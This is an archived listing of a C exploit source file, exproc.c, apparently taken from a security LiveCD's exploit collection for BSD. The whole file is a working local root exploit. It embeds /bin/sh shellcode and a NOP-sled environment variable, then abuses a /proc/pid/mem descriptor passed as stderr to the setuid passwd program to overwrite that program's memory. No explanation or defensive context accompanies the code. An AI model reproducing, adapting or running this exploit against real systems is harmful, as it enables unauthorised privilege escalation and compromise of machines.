home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / bsd / local / exproc.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  106 lines

  1. /* by Nergal */
  2. #include <errno.h>
  3. #include <signal.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <unistd.h>
  7. #include <fcntl.h>
  8. #include <string.h>
  9. #include <signal.h>
  10. #include <sys/wait.h>
  11.  
  12. char      shellcode[] =
  13. "\xeb\x0a\x62\x79\x20\x4e\x65\x72\x67\x61\x6c\x20"
  14. "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
  15. "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
  16. "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
  17. "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04\x00";
  18.  
  19. #define PASSWD "./passwd"
  20. void
  21. sg(int x)
  22. {
  23. }
  24. int
  25. main(int argc, char **argv)
  26. {
  27. unsigned int stack, shaddr;
  28. int       pid,schild;
  29. int       fd;
  30. char      buff[40];
  31. unsigned int  status;
  32. char      *ptr;
  33. char      name[4096];
  34. char sc[4096];
  35. char      signature[] = "signature";
  36.  
  37. signal(SIGUSR1, sg);
  38. if (symlink("usr/bin/passwd",PASSWD) && errno!=EEXIST)
  39. {
  40. perror("creating symlink:");
  41. exit(1);
  42. }
  43. shaddr=(unsigned int)&shaddr;
  44. stack=shaddr-2048;
  45. if (argc>1)
  46. shaddr+=atoi(argv[1]);
  47. if (argc>2)
  48. stack+=atoi(argv[2]);
  49. fprintf(stderr,"shellcode addr=0x%x stack=0x%x\n",shaddr,stack);
  50. fprintf(stderr,"Wait for \"Press return\" prompt:\n");
  51. memset(sc, 0x90, sizeof(sc));
  52. strncpy(sc+sizeof(sc)-strlen(shellcode)-1, shellcode,strlen(shellcode));
  53. strncpy(sc,"EGG=",4);
  54. memset(name,'x',sizeof(name));
  55. for (ptr = name; ptr < name + sizeof(name); ptr += 4)
  56. *(unsigned int *) ptr = shaddr;
  57. name[sizeof(name) - 1] = 0;
  58.  
  59. pid = fork();
  60. switch (pid) {
  61. case -1:
  62. perror("fork");
  63. exit(1);
  64. case 0:
  65. pid = getppid();
  66. sprintf(buff, "/proc/%d/mem", pid);
  67. fd = open(buff, O_RDWR);
  68. if (fd < 0) {
  69. perror("open procmem");
  70. wait(NULL);
  71. exit(1);
  72. }
  73. /* wait for child to execute suid program */
  74. kill(pid, SIGUSR1);
  75. do {
  76. lseek(fd, (unsigned int) signature, SEEK_SET);
  77. } while
  78. (read(fd, buff, sizeof(signature)) == sizeof(signature) &&
  79. !strncmp(buff, signature, sizeof(signature)));
  80. lseek(fd, stack, SEEK_SET);
  81. switch (schild = fork()) {
  82. case -1:
  83. perror("fork2");
  84. exit(1);
  85. case 0:
  86.  
  87. dup2(fd, 2);
  88. sleep(2);
  89. execl(PASSWD, name, "blahblah", 0);
  90. printf("execl failed\n");
  91. exit(1);
  92. default:
  93. waitpid(schild, &status, 0);
  94. }
  95. fprintf(stderr, "\nPress return.\n");
  96. exit(1);
  97. default:
  98. /* give parent time to open /proc/pid/mem */
  99. pause();
  100. putenv(sc);
  101. execl(PASSWD, "passwd", NULL);
  102. perror("execl");
  103. exit(0);
  104.  
  105. }
  106. }